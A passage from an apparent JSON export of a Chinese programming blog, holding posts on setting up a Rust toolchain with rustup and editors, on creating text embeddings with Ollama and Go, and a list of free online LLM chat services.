stable版本呢？有几种方法，下面逐一介绍一下。\n我们可以使用rust工具链的“plus语法”在命令行上指定要使用的工具链，这个语法对cargo、rustc等工具链中的命令行程序都适用：\n$ rustc +1.66.0 -V rustc 1.66.0 (69f9c33d7 2022-12-12) $ rustc +1.65.0 -V error: toolchain '1.65.0-x86_64-unknown-linux-gnu' is not installed $ cargo +1.66.0 -V cargo 1.66.0 (d65d197ad 2022-11-15) $ cargo +1.65.0 -V error: toolchain '1.65.0-x86_64-unknown-linux-gnu' is not installed 注：cargo是Rust语言的官方构建系统和包管理器，它提供了一组命令行工具，可以自动化构建、测试和发布Rust项目。它还支持自动解析和下载依赖项，使得管理项目的依赖关系变得简单和可靠。Cargo是Rust生态系统中重要的工具之一，为开发者提供了高效和方便的开发体验。在后面的章节中我会详细介绍cargo。\n对于要使用特定版本进行构建的rust项目，我们可以通过rustup override来指定版本号。下面就是一个这样的例子：\n$cargo new hellorust Created binary (application) `hellorust` package $cd hellorust/ $rustup override set 1.66.0 info: override toolchain for '/root/test/rust/hellorust' set to '1.66.0-x86_64-unknown-linux-gnu' 我们用cargo创建了一个新的hellorust项目，在hellorust项目下，我们执行rustup override来指定该项目使用1.66.0版本进行构建。\n之后，我们分别在该项目目录下以及其他目录下执行rustc，我们看到输出结果如下：\n~/test/rust/hellorust$ rustc -V rustc 1.66.0 (69f9c33d7 2022-12-12) $ cd .. ~/test/rust$ rustc -V rustc 1.77.2 (25ef9e3d8 2024-04-09) rustc override的原理其实是在$HOME/.rustup/settings.toml文件中添加了一些内容：\n$cat .rustup/settings.toml default_toolchain = \u0026quot;stable-x86_64-unknown-linux-gnu\u0026quot; profile = \u0026quot;default\u0026quot; version = \u0026quot;12\u0026quot; [overrides] \u0026quot;/root/test/rust/hellorust\u0026quot; = \u0026quot;1.66.0-x86_64-unknown-linux-gnu\u0026quot; 我们看到在overrides下新增了一条规则，指定了hellorust项目需要使用1.66.0-x86_64-unknown-linux-gnu这个工具链。\n不过这种与本地路径紧耦合的配置方案并不是适合大范围协作，无法提交到git仓库中分享给其他人。\nRust还提供了另外一种override toolchain版本的方法，我们可以在hellorust项目的根目录下放置一个名为rust-toolchain.toml的文件，其内容如下：\n// rust-toolchain.toml [toolchain] channel = \u0026quot;1.66.0\u0026quot; 我们先执行rustup override unset将上面设置的override规则取消掉:\n$rustup override unset info: override toolchain for '/root/test/rust/hellorust' removed 然后toolchain.toml就会生效了：\n// 在hellorust路径下 $rustc -V rustc 1.66.0 (69f9c33d7 2022-12-12) 显然，这里涉及到了override的优先级顺序问题。Rust规定版本override的优先级顺序由高到低依次是：\nplus语法：“rustc +1.66.0 -V” RUSTUP_TOOLCHAIN环境变量 (default: none) rustup override命令 rust-toolchain.toml 默认toolchain 2.2.1.3 在Windows上安装Rust 上述通过“curl|ssh”安装rustup，并通过rustup安装Rust工具链的方法是在Linux和macOS上安装Rust的主流方法，但在习惯于图形化安装的Windows上，略有变通。在Windows上，我们可以下载和安装一个名为rustup-init.exe的程序，它等价于其他os上的rustup，但可以交互式的引导用户安装。\n由于手旁没有Windows环境，具体的安装过程这里就不详细说明了。\n2.2.2 离线安装包安装 和Go一样，Rust也提供了离线安装包的安装方式，在离线安装包下载页面可以找到各个平台的多种文件格式（目前包括.tar.xz、.msi和.pkg）的离线安装包。\n习惯在Windows上开发Rust程序的开发者可以直接下载和使用.msi来安装Rust开发环境。\n2.3 更新和卸载Rust 使用rustup来更新和卸载Rust非常简单方便。\n以更新stable版本为例，通过下面命令，我们就可以将本地的stable版本更新到最新stable版本。以我的macOS为例，我通过rustup将stable版本更新为最新的Rust 1.77.2：\n$rustup update stable info: syncing channel updates for 'stable-x86_64-apple-darwin' info: latest update on 2024-04-09, rust version 1.77.2 (25ef9e3d8 2024-04-09) info: downloading component 'cargo' info: downloading component 'clippy' info: downloading component 'rust-docs' 14.9 MiB / 14.9 MiB (100 %) 9.3 MiB/s in 1s ETA: 0s info: downloading component 'rust-std' 25.4 MiB / 25.4 MiB (100 %) 764.8 KiB/s in 12s ETA: 0s info: downloading component 'rustc' 54.9 MiB / 54.9 MiB (100 %) 8.6 MiB/s in 7s ETA: 0s info: downloading component 'rustfmt' 1.8 MiB / 1.8 MiB (100 %) 564.9 KiB/s in 3s ETA: 0s info: removing previous version of component 'cargo' info: removing previous version of component 'clippy' info: removing previous version of component 'rust-docs' info: removing previous version of component 'rust-std' info: removing previous version of component 'rustc' info: removing previous version of component 'rustfmt' info: installing component 'cargo' info: installing component 'clippy' info: installing component 'rust-docs' 14.9 MiB / 14.9 MiB (100 %) 4.2 MiB/s in 3s ETA: 0s info: installing component 'rust-std' 25.4 MiB / 25.4 MiB (100 %) 13.8 MiB/s in 2s ETA: 0s info: installing component 'rustc' 54.9 MiB / 54.9 MiB (100 %) 13.9 MiB/s in 4s ETA: 0s info: installing component 'rustfmt' stable-x86_64-apple-darwin updated - rustc 1.77.2 (25ef9e3d8 2024-04-09) (from rustc 1.75.0 (82e1608df 2023-12-21)) ... ... 通过更新的日志，我们看到rust的相关工具组件（比如cargo、rustfmt等）也得到了一并的更新。\nRust通过rustup提供了卸载Rust环境的命令：\n$rustup self uninstall Thanks for hacking in Rust! This will uninstall all Rust toolchains and data, and remove $HOME/.cargo/bin from your PATH environment variable. Continue? (y/N) _ 我们看到：rustup会在控制台上与你进行一个确认继续的交互，确认你真的要卸载。如果你输入y并按Enter键继续，那么rustup会移除所有与Rust相关的文件，包括工具链、库、环境变量等。\n如果你需要保留一些Rust版本，可以先运行rustup toolchain list，查看已安装的版本。然后用rustup toolchain uninstall命令单独卸载不需要的版本：\n$rustup toolchain uninstall 1.64-x86_64-apple-darwin info: uninstalling toolchain '1.64-x86_64-apple-darwin' info: toolchain '1.64-x86_64-apple-darwin' uninstalled 2.4 配置Rust 在《Go语言第一课专栏》讲解安装Go之后的配置时，我们主要提到了国内开发者要配置一个合适的GOPROXY。而Rust的各个站点都在合规访问范围内，我们安装Rust后无需做任何配置即可敞开使用Rust。\n不过也有开发者觉得通过Rust官方下载crate慢，希望更换国内源，这种换源主要涉及的是cargo这个工具，我们后续学习Cargo时再来说明如何换源以及换哪个稳定的国内源。\n2.5 在线体验Rust Go提供了在线的Go playground可供尚未在本地安装Go环境的开发者体验Go语法，Go playground提供了三个版本：最新稳定版、次新稳定版以及tip版本，并且可以将代码通过短连接分享给其他开发者，十分方便。\n这方面Rust也不逞多让，提供了功能足够丰富的Rust Playground：\n在这里，我们可以选择Rust的版本：stable、beta还是nightly；可以选择编译模式，是debug还是release；可以选择Rust edition；可以选择执行一些工具，比如rustfmt；可以选择执行的命令：Run、Build、Test、MIR等。\n不过，Rust、Go的playground毕竟只是用于在线体验的站点，他们具有共同的一些局限，比如：不支持第三方依赖，无法做复杂的多源文件项目的体验。\n2.6 编辑器与IDE 对于开发人员来说，一门语言的开发环境不仅包含语言官方提供的编译器以及其他工具链，代码编辑器或IDE也是必不可少的。接下来，我们就来简单说说使用什么编辑器或IDE来开发Rust代码。\n2023年Rust官方年度的用户调查显示，在编辑器/IDE使用排名中VSCode和VIM位列前二：\nJetbrain推出的商业版RustRover位居第三，正在迎头赶上，但由于是商业版，这里就不详细介绍了。下面我们分别介绍一下如何使用VSCode和VIM来开发Rust代码，都需要安装哪些插件。\n2.6.1 使用VSCode开发Rust 使用上面介绍的rustup在本地安装Rust环境后，rust的相关工具(cargo、rustc、rustfmt、rust-analyzer等)就都已经就绪！使用VSCode开发Rust只需再安装一个扩展插件即可，它就是由Rust官方维护的rust-analyzer：\n该插件实现了Rust语言的Language Server Protocol，可以在开发者编写Rust代码时，提供代码补全、转到定义/实现/类型定义、查找所有引用、工作区符号搜索、符号重命名、悬停时的类型和文档、类型和参数名称的嵌入提示、语义语法高亮等功能。可以说，有了Rust-analyzer的帮助，开发者可以自由在Rust代码中徜徉了。\n更详细的VSCode支持Rust开发的文档，可以参考Rust in Visual Studio Code。\n2.6.2 使用VIM开发Rust 和VSCode仅需安装一个扩展插件相比，VIM的配置就相对复杂一些了。目前Rust+VIM的主流方案是rust.vim + coc.nvim + coc-rust-analyzer。\n我们以安装了vim-plug插件管理器的VIM为例，下面是VIM的插件关系以及插件与Rust工具链的交互图：\n首先，通过vim-plug安装coc.nvim和rust.vim，我们需要在~/.vimrc中添加下面代码：\ncall plug#begin() Plug 'neoclide/coc.nvim', {'branch': 'release'} Plug 'rust-lang/rust.vim' \u0026quot;for rust call plug#end() 然后在vim中执行:PlugInstall安装coc.nvim和rust.vim。\nrust.vim是Rust团队官方维护的vim插件，用于提供Rust文件检测、语法高亮显示、代码格式化等，它需要Vim 8或更高版本才能实现完整功能。\ncoc.nvim则是一个强大的Neovim (Vim的衍生版本)插件，主要用于提供代码补全、语法检查、代码导航等功能，支持多种编程语言。它基于微软的 Language Server Protocol (LSP)，可以与各种语言服务器集成，从而为不同语言提供智能化的开发体验。\n安装coc.nvim成功后，我们再在VIM中使用:CocInstall coc-rust-analyzer安装coc.nvim的插件：coc-rust-analyzer，通过该插件可以实现与LSP实现rust-analyzer的交互，从而实现代码补全、转到定义/实现/类型定义、查找所有引用等功能。\n此外，我们还需要配置一下coc.nvim，配置文件在~/.vim/coc-settings.json中：\n{ \u0026quot;languageserver\u0026quot; : { \u0026quot;rust\u0026quot;: { \u0026quot;command\u0026quot;: \u0026quot;rust-analyzer\u0026quot;, \u0026quot;filetypes\u0026quot;: [\u0026quot;rust\u0026quot;], \u0026quot;rootPatterns\u0026quot;: [\u0026quot;Cargo.toml\u0026quot;] } } } 安装好上述插件并完成配置后，你同样可以使用VIM在Rust代码中徜徉！\n2.7 小结 在这一章里，我们学习了如何建立Rust开发环境。\n首先我了解到，Rust有stable(稳定版)、beta(公测版)和nightly(每晚版)三种版本渠道，发布节奏是每6周一个新的稳定版，与Go语言有所区别。对于大多数开发者来说，选择最新的稳定版是最明智的选择。\n接着，我介绍了在Linux环境下使用rustup这个官方工具安装Rust的方法。rustup提供了一键安装命令，可以方便地安装不同渠道的Rust版本。\n安装完成后，rustup在主机的主目录下创建了.cargo和.rustup两个目录。.cargo/bin存放了cargo、rustc等命令行工具，.rustup/toolchains则存放了安装的Rust工具链。\n我们还学会了如何使用rustup在不同版本间切换，并演练了如何安装指定版本的Rust。另外，通过rustup的”plus语法”，可以在单个命令中临时使用特定的Rust版本。当然Rust提供了不止一种方法，还有rust-toolchain.toml文件、环境变量等方法，请注意这些方法的优先级顺序。\n最后，我们还介绍了如何利用Rust playground在线体验Rust编码，以及Rust编码使用的两种最常使用的IDE和编辑器：VSCode和VIM，针对这两个工具，我分别介绍了Rust开发环境的配置方法。\n相信大家通过本章内容，已经可以成功搭建了Rust开发环境了，这为后续的Rust编程学习打下了坚实的基础。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/05/10/gopher-rust-first-lesson-setup-dev-env/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/gopher-rust-first-lesson-setup-dev-env-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/05/10/gopher-rust-first-lesson-setup-dev-env\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/05/10/gopher-rust-first-lesson-setup-dev-env\"\u003ehttps://tonybai.com/2024/05/10/gopher-rust-first-lesson-setup-dev-env\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e经过上一章的对\u003ca href=\"https://tonybai.com/2024/04/22/gopher-rust-first-lesson-all-about-rust/\"\u003eRust诞生演化的了解以及设计哲学的探讨\u003c/a\u003e后，如果你依然决定继续Rust编程学习之旅，那么欢迎你和我一起正式走进Rust学习和实践的课堂。\u003c/p\u003e\n\u003cp\u003e编程不是“纸上谈兵”，它是一门实践的艺术。编程语言的学习离不开动手实践，因此学习任何一门编程语言的第一步都是要拥有一个这门编程语言的开发环境，这样我们才可以动手编码，理论与实践结合，不仅加速学习效率，还能取得更好的学习效果。\u003c/p\u003e","title":"Gopher的Rust第一课：建立Rust开发环境"},{"content":"\n本文永久链接 – https://tonybai.com/2024/05/09/text-vectorization-using-ollama-and-go-based-on-text-embedding-models\n基于RAG+大模型的应用已经成为当前AI应用领域的一个热门方向。RAG(Retrieval-Augmented Generation)将检索和生成两个步骤相结合，利用外部知识库来增强生成模型的能力(如下图来自网络)。\n在RAG赋能的大模型应用中，关键的一步是将文本数据向量化后存储在向量数据库中(如上图的红框)，以实现快速的相似度搜索，从而检索与输入查询相关的文本片段，再将检索到的文本输入给生成模型生成最终结果。\n本文是我学习开发大模型应用的一篇小记，探讨的是如何使用Ollama和Go语言实现文本数据的向量化处理，这是开发基于RAG的大模型应用的前提和基础。\n要进行文本向量化，我们首先要了解一下文本向量化的方法以及发展。\n纵观文本向量化技术的发展历程，我们可以看到从早期的词袋模型(Bag-of-Words)、主题模型(Topic Models)，到词嵌入(Word Embedding)、句嵌入(Sentence Embedding)，再到当前基于预训练的文本嵌入模型(Pretrained Text Embedding Models)，文本向量化的方法不断演进，语义表达能力也越来越强。\n但传统的词袋模型忽略了词序和语义，主题模型又难以捕捉词间的细粒度关系，词嵌入模型(如Word2Vec、GloVe)虽然考虑了词的上下文，但无法很好地表征整个句子或文档的语义。近年来，随着预训练语言模型(如BERT、GPT等)的崛起，出现了一系列强大的文本嵌入模型，它们在大规模语料上进行预训练，能够生成高质量的句子/文档嵌入向量，广泛应用于各类NLP任务中。下图是抱抱脸(https://huggingface.co/)的最新文本嵌入模型的排行榜：\n目前，基于大型预训练语言模型的文本嵌入已成为主流方法。这些模型在大规模无监督语料上预训练，学习到丰富的语义知识，生成的文本嵌入能较好地编码词语、短语和句子等多个层面的语义关系。Nomic AI等组织发布了多种优秀的预训练文本嵌入模型，应用效果获得了较大提升。这种基于预训练的文本嵌入模型来实现文本数据向量化的方法也缓解了Go语言生态中文本向量化的相关库相对较少的尴尬，Gopher可以在预训练文本嵌入模型的帮助下将文本向量化。接下来，我们就来看看如何基于Ollama和Go基于文本嵌入模型实现文本向量化。\n考虑到实验环境资源有限，以及Ollama对Text Embedding模型的支持，这里我选择了Nomic AI开源发布的nomic-embed-text v1.5模型，虽然在抱抱脸上它的排名并不十分靠前。\n在《使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B》一文中，我已经粗略介绍过Ollama在本地运行大模型的基本步骤，如果你对Ollama的操作还不是很了解，可以先阅读一下那篇文章。\n下面我们就用ollama下载nomic-embed-text:v1.5模型：\n$ollama pull nomic-embed-text:v1.5 pulling manifest pulling manifest pulling 970aa74c0a90... 100% ▕██████████████████████████████████████████████████████████████████▏ 274 MB pulling c71d239df917... 100% ▕██████████████████████████████████████████████████████████████████▏ 11 KB pulling ce4a164fc046... 100% ▕██████████████████████████████████████████████████████████████████▏ 17 B pulling 31df23ea7daa... 100% ▕██████████████████████████████████████████████████████████████████▏ 420 B verifying sha256 digest writing manifest removing any unused layers success 算上之前的Llama3模型，目前本地已经有了两个模型：\n$ollama list NAME ID SIZE MODIFIED llama3:latest 71a106a91016 4.7 GB 2 weeks ago nomic-embed-text:v1.5 0a109f422b47 274 MB 3 seconds ago 不过与llama3的对话模型不同，nomic-embed-text:v1.5是用于本文嵌入的模型，我们不能使用命令行来run该模型并通过命令行与其交互：\n$ollama run nomic-embed-text:v1.5 Error: embedding models do not support chat 一旦模型下载成功，我们就可以通过Ollama的HTTP API来访问该模型了，下面是通过curl将一段文本向量化的命令：\n$curl http://localhost:11434/api/embeddings -d '{ \u0026quot;model\u0026quot;: \u0026quot;nomic-embed-text:v1.5\u0026quot;, \u0026quot;prompt\u0026quot;: \u0026quot;The sky is blue because of Rayleigh scattering\u0026quot; }' {\u0026quot;embedding\u0026quot;:[-1.246808409690857,0.10344144701957703,0.6935597658157349,-0.6157534718513489,0.4244955778121948,-0.7677388191223145,1.4136837720870972,0.012530215084552765,0.007208258379250765,-0.858286440372467,1.02878999710083,0.6512939929962158,1.0005667209625244,1.4231345653533936,0.30222395062446594,-0.4343869090080261,-1.358498215675354,-1.0671193599700928,0.3035725951194763,-1.5876567363739014,-0.9811925888061523,-0.31766557693481445,-0.32180508971214294,0.5726669430732727,-1.4187577962875366,-0.23533311486244202,-0.3387795686721802,0.02435961365699768,-0.9517765641212463,0.4120883047580719,-0.4619484841823578,-0.6658303737640381,0.010240706615149975,0.7687620520591736,0.9147310853004456,-0.18446297943592072,1.6336615085601807,1.006791353225708,-0.7928107976913452,0.3333768844604492,-0.9133707880973816,-0.8000166416168213,-0.41302260756492615,0.32945334911346436,0.44106146693229675,-1.3581880331039429,-0.2830675542354584,-0.49363842606544495,0.20744864642620087,0.039297714829444885,-0.6562637686729431,-0.24374787509441376,-0.22294744849205017,-0.664574921131134,0.5489196181297302,1.0000559091567993,0.45487216114997864,0.5257866382598877,0.25838619470596313,0.8648120760917664,0.32076674699783325,1.79911208152771,-0.23030932247638702,0.27912014722824097,0.6304138898849487,-1.1762936115264893,0.2685599625110626,-0.6646256446838379,0.332780659198761,0.1742674708366394,-0.27117523550987244,-1.1485087871551514,0.07291799038648605,0.7712352275848389,...,]} 注意：如果curl请求得到的应答是类似{“error”:”error starting the external llama server: exec: \\”ollama_llama_server\\”: executable file not found in $PATH “}，可以尝试重启Ollama服务来解决：systemctl restart ollama。\nOllama没有提供sdk，我们就基于langchaingo的ollama包访问ollama本地加载的nomic-embed-text:v1.5模型，实现文本的向量化。下面是示例的源码：\n// textembedding.go package main import ( \u0026quot;context\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;log\u0026quot; \u0026quot;github.com/tmc/langchaingo/llms/ollama\u0026quot; ) func main() { llm, err := ollama.New(ollama.WithModel(\u0026quot;nomic-embed-text:v1.5\u0026quot;)) if err != nil { log.Fatal(err) } ctx := context.Background() inputText := \u0026quot;The sky is blue because of Rayleigh scattering\u0026quot; result, err := llm.CreateEmbedding(ctx, []string{inputText}) if err != nil { log.Fatal(err) } fmt.Printf(\u0026quot;%#v\\n\u0026quot;, result) fmt.Printf(\u0026quot;%d\\n\u0026quot;, len(result[0])) } 更新一下依赖：\n# go mod tidy go: finding module for package github.com/tmc/langchaingo/llms/ollama go: toolchain upgrade needed to resolve github.com/tmc/langchaingo/llms/ollama go: github.com/tmc/langchaingo@v0.1.9 requires go \u0026gt;= 1.22.0; switching to go1.22.3 go: downloading go1.22.3 (linux/amd64) go: finding module for package github.com/tmc/langchaingo/llms/ollama go: found github.com/tmc/langchaingo/llms/ollama in github.com/tmc/langchaingo v0.1.9 go: downloading github.com/stretchr/testify v1.9.0 go: downloading github.com/pkoukk/tiktoken-go v0.1.6 go: downloading gopkg.in/yaml.v3 v3.0.1 go: downloading github.com/davecgh/go-spew v1.1.1 go: downloading github.com/pmezard/go-difflib v1.0.0 go: downloading github.com/google/uuid v1.6.0 go: downloading github.com/dlclark/regexp2 v1.10.0 我本地的Go是1.21.4版本，但langchaingo需要1.22.0版本及以上，这里考虑向前兼容性，go下载了go1.22.3。\n接下来运行一下上述程序：\n$go run textembedding.go [][]float32{[]float32{-1.2468084, 0.10344145, 0.69355977, -0.6157535, 0.42449558, -0.7677388, 1.4136838, 0.012530215, 0.0072082584, -0.85828644, 1.02879, 0.651294, 1.0005667, 1.4231346, 0.30222395, -0.4343869, -1.3584982, -1.0671194, 0.3035726, -1.5876567, -0.9811926, -0.31766558, -0.3218051, 0.57266694, -1.4187578, -0.23533311, -0.33877957, 0.024359614, -0.95177656, 0.4120883, -0.46194848, -0.6658304, 0.010240707, 0.76876205, 0.9147311, -0.18446298, 1.6336615, 1.0067914, -0.7928108, 0.33337688, -0.9133708, -0.80001664, -0.4130226, 0.32945335, 0.44106147, -1.358188, -0.28306755, -0.49363843, 0.20744865, 0.039297715, -0.65626377, -0.24374788, -0.22294745, -0.6645749, 0.5489196, 1.0000559, 0.45487216, 0.52578664, 0.2583862, 0.8648121, 0.32076675, 1.7991121, -0.23030932, 0.27912015, 0.6304139, -1.1762936, 0.26855996, -0.66462564, 0.33278066, 0.17426747, -0.27117524, -1.1485088, 0.07291799, 0.7712352, -1.2570909, -0.6230442, 0.02963586, -0.4936177, -0.014295651, 0.5730515, ... , -0.5260737, -0.44808808, 0.9352375}} 768 我们看到输入的文本成功地被向量化了，我们输出了这个向量的维度：768。\n注：文本向量维度的常见的值有200、300、768、1536等。\n我们看到，基于Ollama加载的预训练文本嵌入模型，我们可以在Go语言中实现高效优质的文本向量化。将文本数据映射到语义向量空间，为基于RAG的知识库应用打下坚实的基础。有了向量后，我们便可以将其存储在向量数据库中备用，在后续的文章中，我会探讨向量数据库写入与检索的实现方法。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/05/09/text-vectorization-using-ollama-and-go-based-on-text-embedding-models/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/text-vectorization-using-ollama-and-go-based-on-text-embedding-models-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/05/09/text-vectorization-using-ollama-and-go-based-on-text-embedding-models\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/05/09/text-vectorization-using-ollama-and-go-based-on-text-embedding-models\"\u003ehttps://tonybai.com/2024/05/09/text-vectorization-using-ollama-and-go-based-on-text-embedding-models\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e基于RAG+大模型的应用已经成为当前AI应用领域的一个热门方向。RAG(Retrieval-Augmented Generation)将检索和生成两个步骤相结合，利用外部知识库来增强生成模型的能力(如下图来自网络)。\u003c/p\u003e","title":"使用Ollama和Go基于文本嵌入模型实现文本向量化"},{"content":"\n本文永久链接 – https://tonybai.com/2024/05/06/those-free-to-use-online-llm-services\n2022年底以ChatGPT为代表的大语言模型的出现掀起了人工智能应用的新浪潮。这些庞大的语言模型经过对海量文本数据的训练，能够理解和生成逼近人类水平的自然语言，在对话、问答、文本生成、代码编写等领域展现出了惊人的能力。\n最初这种能力“垄断”在OpenAI公司的手里，世界各地的AI爱好者们为了能尽快拿到ChatGPT的使用账号，使出了浑身解数，国内朋友更是如此。\n不过随着Google、Meta、Anthropic、xAI等公司的逐步赶上（当然国内像百度、阿里等巨头的也投入巨量研发和成本）以及开源大模型的持续涌现，时隔一年多以后，目前互联网上的大模型服务已成“百花齐放”之势。无论在推理能力还是模型数量上，都有极大的提升，而使用成本则大幅降低。我们再无需局限于OpenAI这一家公司的大模型了，通过一些免费的在线大模型服务即可享受到多样化、高质量的AI服务。\n在这篇短文中，我就来简单说说我使用过的那些免费在线大模型服务，供各位读者参考。\n对于国内的朋友来说，本文介绍的大多数国外在线大模型服务的使用前提是你拥有一个价位合理、连接稳定的加速器服务。\n1. 大语言模型聚合平台 我们先来看看一类典型的大语言模型服务平台，它们被称作大语言模型聚合平台，在这类平台上，我们可以使用超过一种的专有模型或开源LLM模型服务。\n1.1 poe.com poe.com是我日常使用的大语言模型服务的第一选择。它由美版知乎Quora平台开发运营。平台上的人工智能服务由多个不同公司训练的模型提供支持，并针对不同的任务进行了优化。Poe目前支持的机器人包括：OpenAI的ChatGPT、GPT-4和DALL-E 3，Anthropic的Claude Instant、Claude 2和Claude 3，Stability AI的StableDiffusionXL，Google的PaLM 和Gemini-Pro，Meta的Llama 3，Playground的Playground-v2，Mistral的Mistral-Medium，以及大量由社区用户自己创建的机器人。\npoe.com提供的默认机器人Assistant由gpt-3.5-turbo和Claude 3 Haiku提供技术支持，这个是完全免费的。其他机器人如GPT4、Claude3 Opus、Mistral-Large、Gemini 1.5 Pro等顶级AI机器人则是使用受限的，需要付费订阅用户才能使用。而中间级别的机器人，如Claude-3-Sonnet、Mistral-Medium等则是有条数限制。开源模型的机器人，比如Llama3 70B则是免费使用的，至少我没碰到限制。\n总之，poe.com上聚合的AI大模型通常足矣满足日常工作所需。\n1.2 you.com 如果你就使用了poe.com的中级机器人，还达到的其条数限制的上限，我们还可以使用you.com作为备用的聚合大模型平台，当然如果你喜欢you.com的风格与交互方式，你完全可以将其作为你的第一选择。就像上面截图中那样，you.com支持大多数的主流的AI大模型，虽然品种不如poe.com多。\n1.3 主流开源大模型的聚合平台 下面说一下以仅聚合开源大模型的一些平台，如果你只想体验、对比和使用开源大模型的话，也可以试试这些平台，目前这些平台没有设置使用条数等限制。\n1.3.1 perplexity labs 1.3.2 huggingface chat 抱抱脸(huggingface)是AI界的github，他也提供了一些开源大模型的在线聚合服务：\n1.3.3 together.ai together.ai提供的开源ai大模型非常全面，并且如上图所示，用户可以自己调整大模型参数，比如Temperature、Top-P、Top-K等，非常适合一些开源大模型的深度研究者：\n1.3.4 groq cloud 我们看到：groq cloud也提供一定的大模型参数调整能力（比如Temperature)，但groq提供的开源大模型种类较少，可做备用之选。\n2. 独立的大语言模型服务 各大AI大模型的先驱者和驱动主力，比如OpenAI、Google、Meta、Anthropic等也都提供了独立的官方大语言模型服务，我们逐一来看看：\n2.1 ChatGPT OpenAI的ChatGPT在今年提供了免费服务，即使你不注册OpenAI账号也可以在线免费使用chatgpt 3.5，只是不能保存历史：\n2.2 Google gemini Google是AI领军人物，但OpenAI的异军突起打了他一个“措手不及”，不过Google实力还在，从最先推出的bard，到目前全面升级为gemini后，与OpenAI的能力差距在日益缩小。\n2.3 Claude 由多家巨头公司共同投资的Anthropic推出的Claude系列大模型能力是与日俱增，最新的Claude 3系列已经基本追上了OpenAI，Anthropic也在自己的官方站点提供了sonnet、haiku的免费服务，只有最高端的opus是需要付费的：\n2.4 Meta Meta（前身Facebook)是开源大语言模型世界的核心力量，它开源的Llama系列大模型已经成为开源界大模型的基石。Meta在其ai官网也提供了在线版的Llama的体验服务，最新版是Llama3。\n2.5 mistral.ai Mistral AI是一家销售人工智能产品的法国公司。它由 Meta Platforms 和 Google DeepMind 的前员工于 2023 年 4 月创立。他也提供了针对其自身产品mistral的在线免费体验服务：\n3. 国内提供的大语言模型服务 国内的公司虽然在算力上受到了政治因素的制约，但大模型能力也是在不断进步的，并且国内大模型大多都提供了在线体验服务以及app。但由于工作原因，国内大模型用的较少，这里就仅给出一个列表和访问方式，大家可以自行体验。\n智普清言 – https://chatglm.cn 通义千问 – https://tongyi.aliyun.com/qianwen/ 文心一言 – https://yiyan.baidu.com/welcome 星火大模型 – https://xinghuo.xfyun.cn kimi – https://kimi.moonshot.cn/ 4. 小结 随着时间的推移，越来越多的公司和开源项目加入了大语言模型的竞争，使得互联网上的大模型服务变得百花齐放。本文列举了一些免费的在线大语言模型服务供读者参考。\n首先介绍了大语言模型聚合平台，如poe.com和you.com，它们集成了多种专有模型和开源模型，可以满足日常工作需求。然后文章还提到了一些仅聚合开源模型的平台，如perplexity labs、huggingface chat、together.ai和groq cloud，它们适合体验、对比和使用开源模型。\n接下来是独立的大语言模型服务，包括一些知名公司和项目。我们提到了OpenAI的ChatGPT，提供免费的在线使用；Google gemini，与OpenAI能力逐渐接近；Anthropic的Claude，提供免费的sonnet和haiku服务；Meta的Llama，作为开源界的核心力量；以及Mistral AI的在线免费体验服务。\n对于国内大模型，笔者使用较少，这里仅提供列表和链接。\n如果你要是拥有一个Google gmail账号，无论是前面提到的聚合平台，还是专有大模型服务(国内大模型服务除外)，基本都可以sign with google 